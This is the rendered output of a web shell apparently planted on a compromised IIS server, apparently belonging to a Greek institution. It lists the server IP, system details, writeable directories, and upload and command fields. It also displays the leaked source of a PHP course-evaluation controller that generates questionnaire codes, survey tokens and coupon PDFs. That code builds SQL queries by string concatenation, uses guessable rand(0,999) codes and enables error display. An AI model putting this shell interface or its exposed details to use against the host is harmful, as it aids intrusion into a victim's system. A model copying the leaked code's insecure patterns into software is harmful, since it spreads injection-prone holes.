403Webshell
Server IP : 195.130.67.5  /  Your IP : 216.73.217.154
Web Server : Microsoft-IIS/10.0
System : Windows NT WEBSERVER1 10.0 build 17763 (Windows Server 2016) i586
User : IUSR ( 0)
PHP Version : 7.4.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Old Sites/modip/infosystem_v7/application/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Old Sites/modip/infosystem_v7/application/controllers/evaluation.php
<?php

function generate_unit_questionnaire_codes($id_unit) {
	
	if(!permission_exists("generate_unit_questionnaire_codes", $id_unit)) {
		$_SESSION['error_message']="Δεν έχετε τα απαραίτητα δικαιώματα να προβάλετε αυτή τη σελίδα.";
		default_page();
		return;
	}
	
	$eval_method=strip($_GET['eval_method']);
	if ($eval_method!=1 && $eval_method!=2) $eval_method=1;

	$unit_course_assignments_d=query("SELECT ca.id FROM __course_assignments ca
	INNER JOIN __classes cl ON ca.id_class=cl.id
	INNER JOIN __courses co ON co.id=cl.id_course
	WHERE cl.semester='".current_semester()."'
	AND co.id_unit='".$id_unit."'");
	
	if(mysql_num_rows($unit_course_assignments_d)==0) {
		$_SESSION['error_message']="Δεν υπάρχουν αναθέσεις μαθημάτων στο ".unit_id_to_name($id_unit)." για το ".semester_id_to_text(current_semester(),1).".";
		default_page();
		return;
	}

	if(!evaluation_period_is_open(current_semester())) {
		$_SESSION['error_message']="Δε μπορείτε να παράξετε κωδικούς εκτός της περιόδου Αξιολόγησης.";
		default_page();
		return;
	}
	
	
	$unset_questionnaire_codes_d=query("SELECT ca.id FROM __course_assignments ca
	INNER JOIN __classes cl ON ca.id_class=cl.id
	INNER JOIN __courses co ON co.id=cl.id_course
	WHERE cl.semester='".current_semester()."'
	AND ca.questionnaire_code=0
	AND ca.teaches=1
	AND co.id_unit='".$id_unit."'");
	
	$i=0;
	while($unset_questionnaire_codes_i=mysql_fetch_array($unset_questionnaire_codes_d)) {

		$random_number=rand(0,999);
											
		while(mysql_num_rows(query("SELECT questionnaire_code FROM __course_assignments ca INNER JOIN __classes cl ON ca.id_class = cl.id AND cl.semester='".current_semester()."' WHERE questionnaire_code='".$random_number."'"))){
			$random_number=rand(0,999);
		}		
		
		query("UPDATE __course_assignments 
		SET questionnaire_code='".$random_number."', eval_method=".$eval_method."
		WHERE id='".$unset_questionnaire_codes_i['id']."'");
		$i++;
	}


	if($i==0) {
		$_SESSION['error_message']="Έχουν ήδη παράχθεί όλοι οι κωδικοί ερωτηματολογίων αυτού του εξαμήνου για το ".unit_id_to_name($id_unit).".";
		view_questionnaire_codes($id_unit, current_semester());
		return;
	} else {
		if ($i==1) $_SESSION['success_message']="Παρήχθη επιτυχώς 1 κωδικός ερωτηματολογίου για το ".unit_id_to_name($id_unit).".";
		else $_SESSION['success_message']="Παρήχθησαν επιτυχώς ".$i." κωδικοί ερωτηματολογίων για το ".unit_id_to_name($id_unit).".";
	}

	view_questionnaire_codes($id_unit, current_semester());
}


function generate_questionnaire_codes() {
	
	if(!permission_exists("generate_questionnaire_codes", NULL)) {
		$_SESSION['error_message']="Δεν έχετε τα απαραίτητα δικαιώματα να προβάλετε αυτή τη σελίδα.";
		default_page();
		return;
	}

	$all_course_assignments_d=query("SELECT ca.id FROM __course_assignments ca
	INNER JOIN __classes cl ON ca.id_class=cl.id
	WHERE cl.semester='".current_semester()."'");
	
	if(mysql_num_rows($all_course_assignments_d)==0) {
		$_SESSION['error_message']="Δεν υπάρχουν αναθέσεις μαθημάτων στο ".semester_id_to_text(current_semester(),1).".";
		default_page();
		return;
	}
	
	
	$unset_questionnaire_codes_d=query("SELECT ca.id FROM __course_assignments ca
	INNER JOIN __classes cl ON ca.id_class=cl.id
	INNER JOIN __courses co ON co.id=cl.id_course
	WHERE cl.semester='".current_semester()."'
	AND ca.questionnaire_code=0
	AND ca.teaches=1");
	
	$units_with_unset_questionnaire_codes_d=query("SELECT DISTINCT co.id_unit
	FROM __course_assignments ca
	INNER JOIN __classes cl ON ca.id_class=cl.id
	INNER JOIN __courses co ON co.id=cl.id_course
	WHERE cl.semester='".current_semester()."'
	AND ca.questionnaire_code=0
	AND ca.teaches=1");
	
	$units_with_unset_questionnaire_codes=mysql_num_rows($units_with_unset_questionnaire_codes_d);
	
	$i=0;
	while($unset_questionnaire_codes_i=mysql_fetch_array($unset_questionnaire_codes_d)) {
		$random_number_i=mysql_fetch_array(query("SELECT FLOOR( 1 + RAND() *998 ) AS questionnaire_code
		FROM __course_assignments
		WHERE questionnaire_code NOT IN (
		SELECT ca.questionnaire_code
		FROM __course_assignments ca
		INNER JOIN __classes cl ON ca.id_class = cl.id
		AND cl.semester='".current_semester()."'
		)
		LIMIT 1"));
		
		query("UPDATE __course_assignments 
		SET questionnaire_code='".$random_number_i['questionnaire_code']."'
		WHERE id='".$unset_questionnaire_codes_i['id']."'");
		
		$i++;
	}


	if($i==0) {
		$_SESSION['error_message']="Έχουν ήδη παράχθεί όλοι οι κωδικοί ερωτηματολογίων αυτού του εξαμήνου για όλο το ίδρυμα.";
		default_page();
		return;
	} else {
		if ($i==1) $_SESSION['success_message']="Παρήχθη επιτυχώς 1 κωδικός ερωτηματολογίου σε 1 μονάδα του ιδρύματος.";
		else $_SESSION['success_message']="Παρήχθησαν επιτυχώς ".$i." κωδικοί ερωτηματολογίων σε ".$units_with_unset_questionnaire_codes." μονάδ".($units_with_unset_questionnaire_codes==1?"α":"ες")." του ιδρύματος.";
	}

	default_page();
}


function update_no_evaluation_reason_submit() {

	$id_course_assignment=strip($_POST['id_course_assignment']);

	if(!permission_exists("update_no_evaluation_reason", $id_course_assignment)) {
		$_SESSION['error_message']="Δεν έχετε τα απαραίτητα δικαιώματα να προβάλετε αυτή τη σελίδα.";
		default_page();
		return;
	}
	
	$semester=course_assignment_to_semester($id_course_assignment);
	$id_unit=course_assignment_to_unit($id_course_assignment);

	if ($semester==current_semester() && !evaluation_moderation_period_is_open($semester)){
		$_SESSION['error_message']="Η αιτιολογία μπορεί να τροποποιηθεί μόνο κατά την περίοδο ελέγχου της αξιολόγησης";
		manage_unit_evaluations($id_unit, $semester);
		return;
	}
	
	$reason=strip($_POST['reason']);

	if (strlen($reason)<8 || strlen(preg_replace('/\s+/', ' ', $reason))<6){
		$_SESSION['error_message']="Μη έγκυρη αιτιολόγηση.";
		return;
	}

	
	$no_changes=mysql_num_rows(query("SELECT * FROM __answer_stats WHERE no_eval_reason='".$reason."' AND id_course_assignment='".$id_course_assignment."'"));

	if($no_changes>0) {
		$_SESSION['error_message']="Δεν κάνατε κάποια τροποποίηση στην αιτιολόγηση μη πραγματοποίησης αξιολόγησης της ανάθεσης.";
		manage_unit_evaluations($id_unit, $semester);
		return;
	}
	
	query("UPDATE __answer_stats SET no_eval_reason='".$reason."' WHERE id_course_assignment='".$id_course_assignment."'");

	
	if(mysql_affected_rows()>0) $_SESSION['success_message']="Η αιτιολόγηση μη πραγματοποίησης αξιολόγησης της ανάθεσης έχει ενημερωθεί επιτυχώς.";
	else $_SESSION['error_message']="Δεν πραγματοποιήθηκαν αλλαγές.";
	
	calculate_obligations();

	manage_unit_evaluations($id_unit, $semester);
}


function print_unit_questionnaire_tokens($id_unit){
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL ^ E_DEPRECATED);	
	if(!permission_exists("generate_unit_questionnaire_codes", $id_unit)) {
		$_SESSION['error_message']="Δεν έχετε τα απαραίτητα δικαιώματα να προβάλετε αυτή τη σελίδα.";
		default_page();
		return;
	}	
	
	require_once("lib/pdf/mpdf.php");

	$time_start = microtime(true);
	$i=1;

	$_SESSION['title']="Εκτύπωση κουπονιών ".unit_id_to_name_gen($id_unit)." - <b>".semester_id_to_text(current_semester())."</b>";
	$_SESSION['content']="<ol style='margin-left:15px;'>";

	$mathimata=query("
	SELECT DISTINCT concat( u.last_name, ' ', u.first_name ) AS name, co.title, co.coursecode, ca.questionnaire_code, cl.registered 
	FROM __course_assignments ca 
	INNER JOIN __relations r ON ca.relation_chain = r.relation_chain 
	INNER JOIN __users u ON u.id = r.id_user 
	INNER JOIN __classes cl ON cl.id = ca.id_class 
	INNER JOIN __courses co ON co.id = cl.id_course
	WHERE co.id_unit =".$id_unit."
	AND ca.teaches=1
	AND ca.eval_method=2
	AND cl.semester=".current_semester()."
	AND ca.questionnaire_code<>0".
	// " LIMIT 16 OFFSET 32".
	"");

	while($mathima=mysql_fetch_assoc($mathimata)) {

		$html= "
		<html>
			
		<head>
		<title>ΚΟΥΠΟΝΙΑ ΜΑΘΗΜΑΤΟΣ: ".$mathima["title"]." - ".$mathima["name"]."</title>
		<meta http-equiv='content-type' content='text/html; charset=UTF-8' />
		<style>
			body{
				font-family:Verdana;
			}
			table{
				page-break-inside: avoid;
			}
			td{
				valign: middle;
				padding:5px;
			}
			@page {
				margin: 0pt 20pt 0pt 20pt;
			 } 
			.container{
				border:1px solid #000000;
				margin-bottom:17pt;
				width:740px;
				height:190px;
			}	
			.code{
				font-family: Courier New;
			}
			.tahoma{
				font-family:Tahoma;
			}
			.small{
				font-variant:small-caps;
			}
			.borderleft{
				border-left:1px solid #000000;
			}
			.text8{
				font-size:8pt;
			}
			.text9{
				font-size:9pt;
			}
			.text10{
				font-size:10pt;
			}	
			.text11{
				font-size:11pt;
			}
			.text12{
				font-size:12pt;
			}
			.text13{
				font-size:13pt;
			}
			.text14{
				font-size:14pt;
			}
			.text15{
				font-size:15pt;
			}	
			.bottomline{
				border-bottom:1px solid #000000;
			}
			.right{
				text-align:right;
			}
			.margintop{
				margin-top:5px;
			}

		</style>
		</head>
		<body>
		";

		$kouponia=query("SELECT token FROM lime_tokens_".$mathima["questionnaire_code"]." WHERE usesleft>0 ORDER BY tid");
		while($kouponi=mysql_fetch_array($kouponia)) {
				$html.= "
				<div class='container'>
				<table width='100%'  border=0 cellspacing=0 cellpadding=0>
				<tr>
					<td rowspan=5 width=70px height=190px style='padding:0'><img src='themes/".CURRENT_TEMPLATE."/images/shared/label_".current_semester().".jpg' width='70px' height='190px'></td>
					<td align=right class='small text13 borderleft bottomline'><b>".strip_intonation(get_setting('institute_name'))." -</b></td><td align=left class='small text13 bottomline'><b>".strip_intonation(unit_id_to_name($id_unit))."</b></td>
				</tr>
				<tr>
					<td class='right text9 borderleft' width='170'>
						<b>Μάθημα:</b>
					</td>
					<td class='text12'>".$mathima["title"]."
					</td>
				</tr>
				<tr>
					<td class='right text9 borderleft'><b>Διδάσκων:</b></td><td class='text12'>".$mathima["name"]."</td>
				</tr>
				<tr>
					<td class='right text9 borderleft'><b>URL ερωτηματολογίου:</b></td><td class='code text13'>".SURVEY_URL."?sid=".$mathima["questionnaire_code"]."</td>
				</tr>
				<tr>	
					<td class='right text9 borderleft'><b>Κωδικός κουπονιού:</b></td><td class='code text15'>".$kouponi["token"]."</td>
				</tr>
				</table>		
				</div>
				";
				
		}

		$html.= "
		</body>
		</html>";
			
		$filename=greeklish($mathima["name"])."-".greeklish($mathima["title"]).".pdf";
		//name transformations	
		$filename = strtolower($filename);
		$filename = str_replace("/", "-", $filename);
		$filename = str_replace("\\", "-", $filename);
		$filename = str_replace("_-_", "-", $filename);
		$filename = str_replace("__", "_", $filename);
		$filename = str_replace("__.", ".", $filename);
		$filename = str_replace("_.", ".", $filename);
		$filename = str_replace("--", "-", $filename);
		$filename = str_replace("-.", ".", $filename);
		$filename = str_replace("_-", "-", $filename);
		$filename = preg_replace(array('~[^0-9a-zA-Z_\-.]~i'), '', $filename);
		
		$mpdf=new mPDF();
		$mpdf->WriteHTML($html);
		$mpdf->Output("files/kouponia/".$filename,'F');
		
		$i++;
		$_SESSION['content'].= "<li><b>Created file: </b>".$_SERVER['DOCUMENT_ROOT']."/files/kouponia/".$filename."</li>";

	}
	$_SESSION['content'].="</ol>";

	$time_end = microtime(true);
	$time = $time_end - $time_start;
	
	if (mysql_num_rows($mathimata)==0){
		$_SESSION['content'].= "Δεν υπάρχουν αναθέσεις μαθημάτων που αξιολογούνται ηλεκτρονικά με χρήση κουπονιών";
	}else{
		$_SESSION['content'].= "<br /><br /><pre><h2>Operation Complete</h2>Files created: <b>". ($i-1) ."</b></pre>";
		$_SESSION['content'].= "<pre>Total execution script time: <b>". $time ."</b> seconds.</pre>";	
	}
}


function generate_questionnaire_tokens($id_course_assignment){

	if(!permission_exists("generate_questionnaire_tokens", $id_course_assignment)) {
		$_SESSION['error_message']="Δεν έχετε τα απαραίτητα δικαιώματα να προβάλετε αυτή τη σελίδα.";
		default_page();
		return;
	}

	require_once("../".SURVEY_FOLDER."/admin/remotecontrol/lsrc.client.php");

	$testclient = new lsrcClient();
	$testclient->user = SURVEY_ADMIN_USERNAME;
	$testclient->pass = SURVEY_ADMIN_PASSWORD;	
	$testclient->limeUrl = SURVEY_URL;		
	
	$questionnaire_code=course_assignment_to_questionnaire_code($id_course_assignment);
	$diloseis=course_assignment_to_registrations($id_course_assignment);
	$kouponia=mysql_num_rows(query("SELECT token FROM lime_tokens_".$questionnaire_code." WHERE usesleft>0"));
	
	$testclient->prepare($questionnaire_code);
	
	if ($kouponia>=$diloseis) $limit=0;
	else $limit=$diloseis-$kouponia;
	
	for ($i=1; $i<=$limit; $i++){
		$tokens=sRandomChars(10);
		$sReturn = $testclient->InsertToken($tokens);
	}
	
	$_SESSION['success_message']="Παρήχθησαν ".$limit." κουπόνια για το ηλ. ερωτηματολόγιο της ανάθεσης ".course_assignment_to_course_name($id_course_assignment)." - ".user_id_to_fullname(course_assignment_owner($id_course_assignment)).".";

	view_questionnaire_codes(course_assignment_to_unit($id_course_assignment), current_semester());
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit